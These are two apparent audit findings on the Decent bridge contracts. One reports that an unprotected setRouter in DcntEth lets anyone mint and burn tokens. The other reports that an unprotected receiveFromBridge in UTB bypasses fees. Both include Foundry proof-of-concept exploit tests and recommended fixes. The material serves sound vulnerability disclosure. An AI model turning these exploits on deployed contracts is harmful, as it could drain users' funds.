Decent - Matue's results

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DcntEth.sol#L20-L22

Vulnerability details

Impact

In the DcntEth contract, the setRouter function does not have an ACL, allowing anyone to change the address of the router variable. DcntEth.sol#L20-L22

    function setRouter(address _router) public {
        router = _router;
    }

Because of this, the mint and burn functions that have onlyRouter ACL become practically public. DcntEth.sol#L24-L26

    function mint(address _to, uint256 _amount) public onlyRouter {
        _mint(_to, _amount);
    }

DcntEth.sol#L28-L30

    function burn(address _from, uint256 _amount) public onlyRouter {
        _burn(_from, _amount);
    }

DcntEth.sol#L8-L11

    modifier onlyRouter() {
        require(msg.sender == router);
        _;
    }

This way, being able to mint and burn Decent Eth, the contract loses all logic and can drain user accounts or create tokens for one's own benefit.

Proof of Concept

The following test can be used to validate missing ACL:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {DecentBridgeExecutor} from "../src/DecentBridgeExecutor.sol";
import {Test, console, console2} from "forge-std/Test.sol";
import {CommonBase} from "forge-std/Base.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {DecentEthRouter} from "src/DecentEthRouter.sol";
import {DcntEth} from "src/DcntEth.sol";
import {CommonRouterSetup} from "test/util/CommonRouterSetup.sol";

contract DecentEthRouterNoFork is CommonRouterSetup {
    WETH weth;
    address lzEndpointArbitrum = 0x3c2269811836af69497E5F486A85D7316753cf62;
    bool isGasEth = true;

    function setUp() public {
        weth = new WETH();
        DecentBridgeExecutor executor = new DecentBridgeExecutor(payable(address(weth)), isGasEth);
        router = new DecentEthRouter(
            payable(address(weth)),
            isGasEth,
            address(executor)
        );
        executor.transferOwnership(address(router));
        dcntEth = new DcntEth(lzEndpointArbitrum);
        router.registerDcntEth(address(dcntEth));
        dcntEth.setRouter(address(router));
    }

    function testAttack() public {
        vm.startPrank(alice);
        dcntEth.setRouter(alice);
        vm.deal(alice, 0.1 ether); 
        dcntEth.mint(alice, 0.1 ether);
        vm.stopPrank();
    }

    // Function to receive Ether. msg.data must be empty
    receive() external payable {}

    // Fallback function is called when msg.data is not empty
    fallback() external payable {}
}

Run using:

forge test --mt testAttack

Tools Used

vscode, foundry

Recommended Mitigation Steps

Implement an ACL for this function, so that only authorized accounts make this change.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-01-decent/blob/main/src/UTB.sol#L311-L319

Vulnerability details

Impact

In the UTB contract, we have the receiveFromBridge function: UTB.sol#L311-L319

    function receiveFromBridge(
        SwapInstructions memory postBridge,
        address target,
        address paymentOperator,
        bytes memory payload,
        address payable refund
    ) public {
        _swapAndExecute(postBridge, target, paymentOperator, payload, refund);
    }

This function does not have access control, so it can be called by any user, rendering the swapAndExecute function useless, which has access control and fees to be paid: UTB.sol#L108-L124

    function swapAndExecute(
        SwapAndExecuteInstructions calldata instructions,
        FeeStructure calldata fees,
        bytes calldata signature
    )
        public
        payable
        retrieveAndCollectFees(fees, abi.encode(instructions, fees), signature)
    {
        _swapAndExecute(
            instructions.swapInstructions,
            instructions.target,
            instructions.paymentOperator,
            instructions.payload,
            instructions.refund
        );
    }

Proof of Concept

The following test can be used to validate missing ACL:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {ERC20} from "solmate/tokens/ERC20.sol";
import {UTB, SwapInstructions, SwapAndExecuteInstructions, FeeStructure} from "../src/UTB.sol";
import {UTBExecutor} from "../src/UTBExecutor.sol";
import {UniSwapper} from "../src/swappers/UniSwapper.sol";
import {SwapParams} from "../src/swappers/SwapParams.sol";
import {XChainExactOutFixture} from "./helpers/XChainExactOutFixture.sol";
import "forge-std/console.sol";

contract UTBExactOutRoutesTest is XChainExactOutFixture {
    function setUp() public {
        src = optimism;
        dst = arbitrum;
        preSlippage = 2;
        postSlippage = 3;
        initialEthBalance = 1 ether;
        initialUsdcBalance = 10e6;
        MINT_GAS = 9e5;

        setRuntime(ENV_FORGE_TEST);
        loadAllChainInfo();
        setupUsdcInfo();
        setupWethHelperInfo();
        loadAllUniRouterInfo();
        setSkipFile(true);
        vm.label(alice, "alice");
        vm.label(bob, "bob");
    }

    function testSwapWethToUsdcAndMintAnNft() public {
        string memory chain = arbitrum;
        (
            UTB utb,
            /*UTBExecutor executor*/,
            UniSwapper swapper,
            ,
            ,

        ) = deployUTBAndItsComponents(chain);
        uint256 slippage = 1;

        address weth = getWeth(chain);
        address usdc = getUsdc(chain);

        cat = deployTheCat(chain);
        uint usdcOut = cat.price();

        (SwapParams memory swapParams, uint expected) = getSwapParamsExactOut(
            chain,
            weth,
            usdc,
            usdcOut,
            slippage
        );

        address payable refund = payable(alice);

        SwapInstructions memory swapInstructions = SwapInstructions({
            swapperId: swapper.getId(),
            swapPayload: abi.encode(swapParams, address(utb), refund)
        });

        mintWethTo(chain, alice, swapParams.amountIn);
        startImpersonating(alice);
        ERC20(weth).approve(address(utb), swapParams.amountIn);

        SwapAndExecuteInstructions
            memory instructions = SwapAndExecuteInstructions({
                swapInstructions: swapInstructions,
                target: address(cat),
                paymentOperator: address(cat),
                refund: refund,
                payload: abi.encodeCall(cat.mintWithUsdc, (bob))});

        (bytes memory signature,FeeStructure memory fees) = getFeesAndSignature(instructions);

        console.logUint(ERC20(usdc).balanceOf(address(cat)));
        console.logUint(ERC20(weth).balanceOf(refund));

        utb.swapAndExecute(instructions, fees, signature);

        console.logUint(ERC20(usdc).balanceOf(address(cat)));
        console.logUint(ERC20(weth).balanceOf(refund));
        vm.prank(bob);
        utb.receiveFromBridge(instructions.swapInstructions , instructions.target, instructions.paymentOperator, instructions.payload , instructions.refund );
        stopImpersonating();

        console.logUint(ERC20(usdc).balanceOf(address(cat)));
        console.logUint(ERC20(weth).balanceOf(refund));
    }
}

Use the following command to run the test:

forge test --match-test "testSwapWethToUsdcAndMintAnNft" -vv

Tools Used

vscode

Recommended Mitigation Steps

Implement an ACL in the receiveFromBridge function, allowing only access from the bridge adapter.

Assessed type

Access Control